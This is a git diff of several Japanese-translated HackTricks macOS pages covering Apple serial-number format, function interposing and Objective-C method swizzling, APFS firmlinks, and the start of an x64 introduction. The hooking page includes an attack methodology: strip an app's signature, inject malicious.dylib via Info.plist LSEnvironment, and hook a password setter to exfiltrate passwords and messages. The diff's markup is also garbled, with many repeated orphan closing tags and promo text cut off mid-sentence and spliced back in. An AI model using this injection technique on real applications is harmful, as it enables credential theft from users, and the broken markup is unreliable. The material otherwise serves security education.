結論として、DEPとMDMは企業環境でAppleデバイスを管理するための強力なツールを提供しますが、セキュリティ上の攻撃ベクトルを示す可能性があり、これらを保護し、監視する必要があります。
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,71 +1,93 @@
# macOSシリアル番号
# macOS シリアル番号
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローしてください [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## 基本情報
2010年以降のAppleデバイスは、**12文字の英数字**で構成されるシリアル番号を持ち、各セグメントが特定の情報を伝えます:
2010年以降のAppleデバイスのシリアル番号は、**12の英数字**で構成されており、各セグメントは特定の情報を伝えます:
- **最初の3文字****製造場所**を示す。
- **文字4と5****製造年および週**を示す。
- **6から8文字目**:各デバイスの**固有識別子**として機能する。
- **最後の4文字****モデル番号**を指定する。
- **最初の3文字****製造場所**を示します。
- **4文字目と5文字目****製造年と週**を示します。
- **6文字目から8文字目**:各デバイスの**ユニーク識別子**として機能します
- **最後の4文字****モデル番号**を指定します。
たとえば、シリアル番号**C02L13ECF8J2**はこの構造に従います。
えば、シリアル番号**C02L13ECF8J2**はこの構造に従っています。
### **製造場所最初の3文字**
特定のコードは特定の工場を表します:
- **FC、F、XA/XB/QP/G8**:米国のさまざまな場所。
- **FC, F, XA/XB/QP/G8**:アメリカのさまざまな場所。
- **RN**:メキシコ。
- **CK**:アイルランドのコーク。
- **VM**:チェコ共和国のFoxconn
- **VM**:チェコ共和国のフォックスコン
- **SG/E**:シンガポール。
- **MB**:マレーシア。
- **PT/CY**:韓国。
- **EE/QT/UV**:台湾。
- **FK/F1/F2、W8、DL/DM、DN、YM/7J、1C/4H/WQ/F7**:中国のさまざまな場所。
- **C0、C3、C7**:中国の特定の都市。
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**:中国のさまざまな場所。
- **C0, C3, C7**:中国の特定の都市。
- **RM**:再生品。
### **製造年4番目の文字)**
この文字は、2010年の前半を表す 'C' から2019年の後半を表す 'Z' まで変化し、異なる文字が異なる半年ごとの期間を示します。
### **製造年4文字**
この文字は、'C'2010年上半期を表すから'Z'2019年下半期まで変化し、異なる文字が異なる上半期または下半期を示します。
### **製造週5番目の文字)**
数字1〜9は週1〜9に対応します。文字C-Y母音と 'S' を除くは週10〜27を表し、年の後半ではこの数値に26が追加されます。
### **製造週5文字**
数字1-9は週1-9に対応します。文字C-Y母音と'S'を除くは週10-27を表します。年の後半の場合、この数字に26が加算されます。
### **固有識別子6から8文字目**
これらの3桁は、同じモデルやバッチのデバイスでも、固有のシリアル番号を持つようにします。
### **モデル番号最後の4文字**
これらの数字は、デバイスの特定のモデルを識別します。
### 参考
* [https://beetstech.com/blog/decode-meaning-behind-apple-serial-number](https://beetstech.com/blog/decode-meaning-behind-apple-serial-number)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローしてください [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}ハッキングトリックを共有してください。** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
{% endhint %}
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# macOS関数フック
# macOS Function Hooking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 関数インターポージング
## Function Interposing
**`__interpose`**セクション(または**`S_INTERPOSING`**フラグが付いたセクション)を含む**関数ポインタ**のタプルを持つ**dylib**を作成し、**元の**関数と**置換**関数を参照します。
**`__interpose`** セクション(または **`S_INTERPOSING`** フラグが付けられたセクション)を持つ **dylib** を作成し、**元の** 関数と **置き換え** 関数を参照する **関数ポインタ** のタプルを含めます。
その後、**`DYLD_INSERT_LIBRARIES`**でdylibを**インジェクト**します(インターポージングはメインアプリがロードされる前に発生する必要があります)。明らかに、[**`DYLD_INSERT_LIBRARIES`**の使用に適用される**制限**はここでも適用されます](../macos-proces-abuse/macos-library-injection/#check-restrictions)。&#x20;
次に、**`DYLD_INSERT_LIBRARIES`** を使用して dylib を **注入** します(インターポジングはメインアプリがロードされる前に行う必要があります)。明らかに、[**`DYLD_INSERT_LIBRARIES`** の使用に適用される **制限** もここに適用されます](../macos-proces-abuse/macos-library-injection/#check-restrictions)。&#x20;
### printfをインターポース
### Interpose printf
{% tabs %}
{% tab title="interpose.c" %}
@ -59,41 +60,6 @@ return 0;
{% endtab %}
{% tab title="interpose2.c" %}
### macOS Function Hooking
macOS provides a feature called Interpose, which allows you to intercept and replace functions in shared libraries. This can be used for various purposes, including debugging, logging, and even modifying the behavior of applications.
To use Interpose, you need to create a new shared library that contains the replacement functions. Then, you can use the `DYLD_INSERT_LIBRARIES` environment variable to load your library into the target process and intercept the desired functions.
Here is an example of using Interpose to hook the `open` function:
```c
#define _DARWIN_C_SOURCE
#include <stdio.h>
#include <dlfcn.h>
int (*original_open)(const char *path, int oflag, ...);
int my_open(const char *path, int oflag, ...) {
// Your custom implementation here
}
__attribute__((constructor))
void init() {
original_open = dlsym(RTLD_NEXT, "open");
if (original_open == NULL) {
fprintf(stderr, "Error hooking open\n");
}
printf("Hooked open function\n");
}
```
In this example, the `init` function is called when the library is loaded into the process. It uses `dlsym` to get a reference to the original `open` function, which is then replaced with `my_open`. This allows you to intercept and modify the behavior of the `open` function.
Remember that function hooking can be a powerful technique, but it should be used responsibly and ethically. Improper use of function hooking can lead to instability and security vulnerabilities in the target system.
{% endtab %}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -126,23 +92,23 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## メソッドスウィズリング
## メソッドスワッピング
ObjectiveCでは、メソッドは次のように呼び出されます: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
**オブジェクト**、**メソッド**、**パラメータ**が必要です。メソッドが呼び出されると、**`objc_msgSend`** 関数を使用して **msg が送信**されます: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
**オブジェクト**、**メソッド**、および**パラメータ**が必要です。そして、メソッドが呼び出されると、**msgが送信されます**。これは関数**`objc_msgSend`**を使用します: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
オブジェクトは **`someObject`**、メソッドは **`@selector(method1p1:p2:)`**、引数は **value1**、**value2** です。
オブジェクトは**`someObject`**、メソッドは**`@selector(method1p1:p2:)`**、引数は**value1**、**value2**です。
オブジェクト構造に従って、メソッドの **名前****メソッドコードへのポインタ****格納**されている **メソッドの配列** にアクセスすることができます
オブジェクトの構造に従って、**メソッドの配列**にアクセスすることが可能で、そこには**名前**と**メソッドコードへのポインタ**が**格納されています**
{% hint style="danger" %}
メソッドやクラスは名前に基づいてアクセスされるため、この情報はバイナリに保存されているため、`otool -ov </path/bin>` または [`class-dump </path/bin>`](https://github.com/nygard/class-dump) を使用して取得することができます。
メソッドとクラスはその名前に基づいてアクセスされるため、この情報はバイナリに保存されます。したがって、`otool -ov </path/bin>`または[`class-dump </path/bin>`](https://github.com/nygard/class-dump)を使用して取得することが可能です。
{% endhint %}
### 生のメソッドへのアクセス
次の例のように、メソッドの情報(名前、パラメータ数、アドレスなど)にアクセスすることができます。
次の例のように、メソッドの情報(名前、パラメータ数、アドレスなど)にアクセスすることが可能です:
```objectivec
// gcc -framework Foundation test.m -o test
@ -208,12 +174,12 @@ NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### method\_exchangeImplementationsを使用したメソッドスイズリング
### Method Swizzling with method\_exchangeImplementations
関数**`method_exchangeImplementations`**は、**1つの関数の実装のアドレスを他の関数に変更**することを可能にします。
関数 **`method_exchangeImplementations`** は **一つの関数の実装のアドレスを他の関数に変更する**ことを可能にします。
{% hint style="danger" %}
したがって、関数が呼び出されるときには、**実行されるのは他の関数**です
したがって、関数が呼び出されると、**実行されるのは他の関数です**。
{% endhint %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -259,16 +225,16 @@ return 0;
}
```
{% hint style="warning" %}
この場合、**正規**メソッドの**実装コード**が**メソッド名**を**検証**すると、このスウィズリングを**検出**して実行を防ぐことができます。
この場合、**正当な**メソッドの**実装コード**が**メソッド**の**名前**を**検証**する場合、このスウィズリングを**検出**し、実行を防ぐことができます。
次のテクニックにはこの制限がありません。
次の技術にはこの制限はありません。
{% endhint %}
### method\_setImplementationを使用したメソッドスウィズリング
### method\_setImplementationによるメソッドスウィズリング
前の形式は奇妙です。なぜなら、1つのメソッドの実装をもう1つのメソッドに変更しているからです。**`method_setImplementation`** 関数を使用すると、1つのメソッドの**実装**を**他のメソッド**に変更できます。
前の形式は奇妙です。なぜなら、あなたは2つのメソッドの実装を互いに変更しているからです。関数**`method_setImplementation`**を使用すると、**他のメソッドのためにメソッドの**実装を**変更**できます。
新しい実装から呼び出す場合は、後でそのアドレスを特定するのが難しくなるため、**元の実装のアドレスを保存**してから上書きすることを忘れないでください
新しい実装から元の実装を呼び出す予定がある場合は、上書きする前に**元の実装のアドレスを保存する**ことを忘れないでください。後でそのアドレスを見つけるのははるかに複雑になります
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -320,17 +286,17 @@ return 0;
}
}
```
## フック攻撃方法論
## フッキング攻撃の方法論
このページでは、関数をフックするさまざまな方法について説明しました。ただし、これらは**プロセス内でコードを実行して攻撃する**というものでした。
このページでは、関数をフックするさまざまな方法について説明しました。しかし、これらは**攻撃のためにプロセス内でコードを実行する**ことを含んでいました。
そのためには、最も簡単な技術としては、[Dyldを環境変数またはハイジャックを介して注入する](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)という方法があります。ただし、[Dylibプロセスインジェクション](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)を介して行うこともできると思われます。
そのために、最も簡単な技術は、[環境変数を介してDyldを注入するか、ハイジャックすること](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)です。しかし、これも[タスクポートを介したDylibプロセス注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)を通じて行うことができると思います。
ただし、これらのオプションは**保護されていない**バイナリ/プロセスに**限定**されています。制限について詳しく知るには、各技術を確認してください。
ただし、両方のオプションは**保護されていない**バイナリ/プロセスに**制限**されています。各技術を確認して、制限について詳しく学んでください。
ただし、関数フック攻撃は非常に特定されたものであり、攻撃者はこれを行って**プロセス内の機密情報を盗み出す**ことを意図しています(そうでなければプロセスインジェクション攻撃を行うでしょう)。そして、この機密情報はMacPassなどのユーザーがダウンロードしたアプリケーション内に存在する可能性があります。
ただし、関数フッキング攻撃は非常に特定的であり、攻撃者は**プロセス内から機密情報を盗む**ためにこれを行います(そうでなければ、プロセス注入攻撃を行うだけです)。この機密情報は、MacPassなどのユーザーがダウンロードしたアプリに存在する可能性があります。
したがって、攻撃者の手法は、脆弱性を見つけるか、アプリケーションの署名を削除し、Info.plistを介して**`DYLD_INSERT_LIBRARIES`**環境変数を注入することです。以下のようなものを追加します:
したがって、攻撃者のベクターは、脆弱性を見つけるか、アプリケーションの署名を剥がし、アプリケーションのInfo.plistを介して**`DYLD_INSERT_LIBRARIES`**環境変数を注入し、次のようなものを追加することになります:
```xml
<key>LSEnvironment</key>
<dict>
@ -338,7 +304,7 @@ return 0;
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
そしてアプリケーションを**再登録**してください
そして、アプリケーションを**再登録**します
{% code overflow="wrap" %}
```bash
@ -346,10 +312,10 @@ return 0;
```
{% endcode %}
そのライブラリに、情報を外部に送信するフックコードを追加します:パスワード、メッセージ...
そのライブラリに情報を外部流出させるためのフックコードを追加します: パスワード、メッセージ...
{% hint style="danger" %}
新しいバージョンのmacOSでは、アプリケーションバイナリの署名を**削除**し、それが以前に実行されていた場合、macOSはもはやそのアプリケーションを実行しなくなります。
新しいバージョンのmacOSでは、アプリケーションバイナリの**署名を削除**し、以前に実行されていた場合、macOSは**アプリケーションを実行しなくなります**ので注意してください
{% endhint %}
#### ライブラリの例
@ -388,18 +354,21 @@ IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## 参考
## 参考文献
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>
{% endhint %}

View file

@ -1,46 +1,80 @@
# macOS AppleFS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Apple Propietary File System (APFS)
## Apple 独自ファイルシステム (APFS)
**Apple File System (APFS)** は、Hierarchical File System Plus (HFS+) を置き換えるために設計された現代的なファイルシステムです。その開発は、**改善されたパフォーマンス、セキュリティ、効率性**の必要性によって推進されました。
**Apple File System (APFS)** は、階層型ファイルシステムプラス (HFS+) に代わるように設計された現代的なファイルシステムです。その開発は、**パフォーマンス、セキュリティ、効率の向上**の必要性によって推進されました。
APFSのいくつかの注目すべき機能には次のものがあります:
APFSの主な特徴は以下の通りです:
1. **スペース共有**: APFSは、1つの物理デバイス上で**複数のボリュームが同じ基礎の空きストレージを共有**できるようにします。これにより、ボリュームは手動でリサイズや再パーティション化が必要なく、動的に成長および縮小できるため、効率的なスペース利用が可能となります。
1. これは、通常のパーティションがファイルディスク内の固定サイズを持っていたのに対して、**APFSでは異なるパーティションボリュームがすべてのディスクスペースを共有**することを意味します。
2. **スナップショット**: APFSは、**ファイルシステムの時間経過の一点を示す** **読み取り専用**のスナップショットを作成することができます。スナップショットは、追加のストレージを最小限に消費し、迅速に作成または元に戻すことができるため、効率的なバックアップとシステムのロールバックを可能にします。
3. **クローン**: APFSは、元のファイルまたはディレクトリと同じストレージを共有する**ファイルまたはディレクトリのクローンを作成**できます。この機能により、ストレージスペースを複製せずにファイルやディレクトリのコピーを効率的に作成できます。
4. **暗号化**: APFSは、**フルディスク暗号化**だけでなく、ファイルごとやディレクトリごとの暗号化をネイティブでサポートしており、さまざまなユースケースでデータセキュリティを向上させています。
5. **クラッシュ保護**: APFSは、**コピー時に書き込むメタデータスキームを使用してファイルシステムの整合性を確保**し、突然の停電やシステムクラッシュの場合でもデータの破損のリスクを軽減します。
1. **スペース共有**: APFSは、複数のボリュームが**単一の物理デバイス上で同じ基盤となる空きストレージを共有する**ことを可能にします。これにより、ボリュームは手動でのサイズ変更や再パーティションなしに動的に増減できるため、より効率的なスペース利用が実現します。
1. これは、ファイルディスクの従来のパーティションと比較して、**APFSでは異なるパーティションボリュームがすべてのディスクスペースを共有する**ことを意味しますが、通常のパーティションは固定サイズでした
2. **スナップショット**: APFSは**スナップショットの作成をサポート**しており、これは**読み取り専用**の時点でのファイルシステムのインスタンスです。スナップショットは効率的なバックアップと簡単なシステムのロールバックを可能にし、最小限の追加ストレージを消費し、迅速に作成または復元できます。
3. **クローン**: APFSは、**元のストレージを共有するファイルまたはディレクトリのクローンを作成**でき、クローンまたは元のファイルが変更されるまでそのストレージを共有します。この機能は、ストレージスペースを重複させることなくファイルやディレクトリのコピーを作成する効率的な方法を提供します。
4. **暗号化**: APFSは、**ディスク全体の暗号化**だけでなく、ファイルごとおよびディレクトリごとの暗号化も**ネイティブにサポート**しており、さまざまな使用ケースにおけるデータセキュリティを強化します。
5. **クラッシュ保護**: APFSは、**ファイルシステムの整合性を確保するコピーオンライトメタデータスキームを使用**しており、突然の電源喪失やシステムクラッシュの際でもデータの破損リスクを低減します。
全体として、APFSはAppleデバイス向けにより現代的で柔軟かつ効率的なファイルシステムを提供し、パフォーマンス、信頼性、セキュリティの向上に焦点を当てています。
全体として、APFSはAppleデバイス向けに、パフォーマンス、信頼性、セキュリティの向上に重点を置いた、より現代的で柔軟かつ効率的なファイルシステムを提供します。
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
`Data`ボリュームは**`/System/Volumes/Data`**にマウントされます(`diskutil apfs list`で確認できます)。
`Data` ボリュームは **`/System/Volumes/Data`** にマウントされています(これを `diskutil apfs list` で確認できます)。
ファームリンクのリストは**`/usr/share/firmlinks`**ファイルにあります。
firmlinks のリストは **`/usr/share/firmlinks`** ファイルにあります。
```bash
cat /usr/share/firmlinks
/AppleInternal AppleInternal
/Applications Applications
/Library Library
[...]
```
左側には**システムボリューム**上のディレクトリパスがあり、右側には**データボリューム**上でのマッピングされたディレクトリパスがあります。つまり、`/library` --> `/system/Volumes/data/library`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,86 +1,88 @@
# x64への導入
# Introduction to x64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
